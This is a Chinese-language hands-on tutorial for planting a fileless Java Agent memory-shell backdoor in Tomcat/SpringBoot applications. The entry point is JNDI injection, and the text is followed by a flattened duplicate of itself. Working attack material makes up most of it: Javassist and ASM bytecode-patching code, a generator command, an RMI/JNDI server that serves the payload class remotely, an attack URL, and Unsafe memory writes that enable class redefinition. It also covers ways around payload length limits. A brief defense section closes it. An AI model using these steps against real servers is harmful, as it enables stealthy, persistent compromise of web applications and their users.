无文件落地注入Agent内存马实操
字数 2107 2025-08-19 12:40:39

无文件落地注入Agent内存马技术详解

一、技术概述

无文件落地注入Agent内存马技术是一种高级攻击技术,适用于具有动态代码上下文执行能力的场景。该技术通过Java Agent机制在内存中动态修改目标类的字节码,实现持久化后门植入,且无需在目标服务器上落地任何文件。

适用条件

  • 目标系统需具备动态代码执行能力(非单纯的Runtime.getRuntime().exec())
  • 需要存在JNDI注入或反序列化漏洞等攻击入口
  • 适用于JDK低版本(特别是Windows环境)

二、技术原理

核心机制

  1. Java Agent技术:通过Instrumentation API动态修改已加载类的字节码
  2. JNDI注入:作为攻击入口,触发远程类加载
  3. 内存操作:使用Unsafe类直接操作内存,绕过安全限制

关键技术点

  • 通过JVM TI接口修改can_redefine_classes标志
  • 动态替换目标类的字节码
  • 避免文件落地,完全在内存中完成操作

三、环境准备

测试环境

  • 操作系统:Windows 10
  • JDK版本:8u66(推荐低版本)
  • 目标应用:SpringBoot 2(暴露反序列化和JNDI接口)

工具准备

  1. 项目地址:https://github.com/whocansee/FilelessAgentMemShell

    • 包含测试所需的简易漏洞环境
    • 包含新类字节码生成工具
  2. 必要工具

    • Javassist(字节码修改)
    • ASM框架(可选,用于复杂修改)
    • Ysomap或其他JNDI服务器工具

四、实施步骤

1. 生成用于注入的类文件

选择宿主类

推荐使用的Tomcat容器宿主类(请求处理必经之类):

  • org.apache.tomcat.websocket.server.WsFilter(推荐)
  • org.springframework.web.servlet.DispatcherServlet
  • org.apache.catalina.core.ApplicationFilterChain
  • org.apache.catalina.core.StandardContextValve
  • javax.servlet.http.HttpServlet

使用Javassist修改字节码

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.getCtClass("org.apache.tomcat.websocket.server.WsFilter");
CtMethod m = ctClass.getDeclaredMethod("doFilter");
m.insertBefore("Runtime.getRuntime().exec(\"calc\");");
ctClass.writeFile();
ctClass.detach();

生成最终类文件

java -jar .\FilelessAgentMemshellGenerator.jar -b 64 -c "org.apache.tomcat.websocket.server.WsFilter" -i false -o "Windows" -p .\WsFilter.class -t false

生成的文件位于out文件夹下的AgentMemShell.class

2. 配置JNDI服务器

手工部署JNDI服务器

import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDIServer {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        Reference refObj = new Reference("AgentMemShell", "AgentMemShell", "http://localhost:8000/");
        initialContext.rebind("rmi://localhost:11451/remoteObj", refObj);
    }
}

配套HTTP服务

python -m http.server

3. 利用JNDI注入漏洞

漏洞环境示例

@GetMapping({"/jndi"})
public void jndi(@RequestParam String b) throws Exception {
    byte[] decodedBytes = Base64.getDecoder().decode(b);
    String decodedUrl = new String(decodedBytes, StandardCharsets.UTF_8);
    InitialContext ctx = new InitialContext();
    ctx.lookup(decodedUrl);
}

攻击URL

http://localhost:8080/memShell/jndi?b=cm1pOi8vbG9jYWxob3N0OjExNDUxL3JlbW90ZU9iag==

(Base64解码后为rmi://localhost:11451/remoteObj)

五、关键技术问题与解决方案

1. Lambda表达式问题

问题现象

当宿主类方法中包含lambda表达式时,动态替换会失败,控制台报错。

影响类示例

org.apache.catalina.core.ApplicationFilterChaindoFilter()方法包含lambda表达式

解决方案

方案一:更换宿主类

  • 选择不含lambda表达式的类,如:
    • org.apache.tomcat.websocket.server.WsFilter
    • org.apache.catalina.core.StandardContextValve

方案二:使用ASM框架完全重写方法

import org.objectweb.asm.*;
import java.io.FileOutputStream;
import java.io.IOException;

public class ModifyCalcMethod {
    public static void main(String[] args) {
        try {
            byte[] modifiedClass = modifyCalcMethod();
            try (FileOutputStream fos = new FileOutputStream("Hello.class")) {
                fos.write(modifiedClass);
            }
            System.out.println("Modified class written to: Hello.class");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static byte[] modifyCalcMethod() throws IOException {
        ClassReader classReader = new ClassReader("org.apache.catalina.core.ApplicationFilterChain");
        ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
        
        ClassVisitor classVisitor = new ClassVisitor(Opcodes.ASM7, classWriter) {
            @Override
            public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
                if (name.equals("doFilter")) {
                    MethodVisitor newMethod = super.visitMethod(access, name, desc, signature, exceptions);
                    newMethod.visitCode();
                    newMethod.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
                    newMethod.visitLdcInsn("Hello, World!");
                    newMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
                    newMethod.visitInsn(Opcodes.RETURN);
                    newMethod.visitMaxs(2, 1);
                    newMethod.visitEnd();
                    return null;
                } else {
                    return super.visitMethod(access, name, desc, signature, exceptions);
                }
            }
        };
        
        classReader.accept(classVisitor, 0);
        return classWriter.toByteArray();
    }
}

方案三:修改源代码重新编译

  1. 获取目标类源码(如tomcat-embed-core-9.0.63-sources)
  2. 将lambda表达式改为匿名类实现
  3. 重新编译生成class文件

2. JDK版本相关问题

can_redefine_classes偏移量

不同JDK版本中can_redefine_classes标志的偏移量不同:

// 64位目标的通用解决方案
unsafe.putByte(native_jvmtienv + 377, (byte)2);
unsafe.putByte(native_jvmtienv + 361, (byte)2);
unsafe.putByte(native_jvmtienv + 369, (byte)2);

Unsafe类使用差异

  • JDK8:仅警告
  • JDK11+:需编译时添加参数才能使用

Windows虚拟机实现类

  • JDK8: WindowsVirtualMachine
  • JDK9+: VirtualMachineImpl

3. Payload长度限制问题

解决方案

  1. 优化字节码

    • 选择体积小的宿主类
    • 删除不影响功能的方法体内容
  2. 转移反序列化流程

    • 利用UnicastRef链、LDAPAttribute链开启新反序列化入口
  3. 解除长度限制

    • 研究目标中间件对不同位置的payload长度限制
    • 尝试解除或绕过限制

六、防御建议

  1. 升级JDK:使用高版本JDK(17+)限制不安全反射
  2. 禁用危险功能:关闭不必要的JNDI、反序列化接口
  3. 安全加固
    • 设置com.sun.jndi.rmi.object.trustURLCodebase=false
    • 使用Security Manager限制敏感操作
  4. 监控检测
    • 监控Instrumentation API的使用
    • 检测异常的类字节码修改行为
  5. 代码审计:检查所有动态代码执行点

七、参考资源

  1. 论如何优雅的注入Java Agent内存马
  2. Java Instrumentation API官方文档
  3. JVM TI接口规范
  4. ASM/Javassist框架文档
无文件落地注入Agent内存马技术详解 一、技术概述 无文件落地注入Agent内存马技术是一种高级攻击技术,适用于具有动态代码上下文执行能力的场景。该技术通过Java Agent机制在内存中动态修改目标类的字节码,实现持久化后门植入,且无需在目标服务器上落地任何文件。 适用条件 目标系统需具备动态代码执行能力(非单纯的Runtime.getRuntime().exec()) 需要存在JNDI注入或反序列化漏洞等攻击入口 适用于JDK低版本(特别是Windows环境) 二、技术原理 核心机制 Java Agent技术 :通过Instrumentation API动态修改已加载类的字节码 JNDI注入 :作为攻击入口,触发远程类加载 内存操作 :使用Unsafe类直接操作内存,绕过安全限制 关键技术点 通过JVM TI接口修改can_ redefine_ classes标志 动态替换目标类的字节码 避免文件落地,完全在内存中完成操作 三、环境准备 测试环境 操作系统:Windows 10 JDK版本:8u66(推荐低版本) 目标应用:SpringBoot 2(暴露反序列化和JNDI接口) 工具准备 项目地址 :https://github.com/whocansee/FilelessAgentMemShell 包含测试所需的简易漏洞环境 包含新类字节码生成工具 必要工具 : Javassist(字节码修改) ASM框架(可选,用于复杂修改) Ysomap或其他JNDI服务器工具 四、实施步骤 1. 生成用于注入的类文件 选择宿主类 推荐使用的Tomcat容器宿主类(请求处理必经之类): org.apache.tomcat.websocket.server.WsFilter (推荐) org.springframework.web.servlet.DispatcherServlet org.apache.catalina.core.ApplicationFilterChain org.apache.catalina.core.StandardContextValve javax.servlet.http.HttpServlet 使用Javassist修改字节码 生成最终类文件 生成的文件位于out文件夹下的 AgentMemShell.class 2. 配置JNDI服务器 手工部署JNDI服务器 配套HTTP服务 3. 利用JNDI注入漏洞 漏洞环境示例 攻击URL (Base64解码后为 rmi://localhost:11451/remoteObj ) 五、关键技术问题与解决方案 1. Lambda表达式问题 问题现象 当宿主类方法中包含lambda表达式时,动态替换会失败,控制台报错。 影响类示例 org.apache.catalina.core.ApplicationFilterChain 的 doFilter() 方法包含lambda表达式 解决方案 方案一:更换宿主类 选择不含lambda表达式的类,如: org.apache.tomcat.websocket.server.WsFilter org.apache.catalina.core.StandardContextValve 方案二:使用ASM框架完全重写方法 方案三:修改源代码重新编译 获取目标类源码(如tomcat-embed-core-9.0.63-sources) 将lambda表达式改为匿名类实现 重新编译生成class文件 2. JDK版本相关问题 can_ redefine_ classes偏移量 不同JDK版本中 can_redefine_classes 标志的偏移量不同: Unsafe类使用差异 JDK8:仅警告 JDK11+:需编译时添加参数才能使用 Windows虚拟机实现类 JDK8: WindowsVirtualMachine JDK9+: VirtualMachineImpl 3. Payload长度限制问题 解决方案 优化字节码 : 选择体积小的宿主类 删除不影响功能的方法体内容 转移反序列化流程 : 利用UnicastRef链、LDAPAttribute链开启新反序列化入口 解除长度限制 : 研究目标中间件对不同位置的payload长度限制 尝试解除或绕过限制 六、防御建议 升级JDK :使用高版本JDK(17+)限制不安全反射 禁用危险功能 :关闭不必要的JNDI、反序列化接口 安全加固 : 设置 com.sun.jndi.rmi.object.trustURLCodebase=false 使用Security Manager限制敏感操作 监控检测 : 监控Instrumentation API的使用 检测异常的类字节码修改行为 代码审计 :检查所有动态代码执行点 七、参考资源 论如何优雅的注入Java Agent内存马 Java Instrumentation API官方文档 JVM TI接口规范 ASM/Javassist框架文档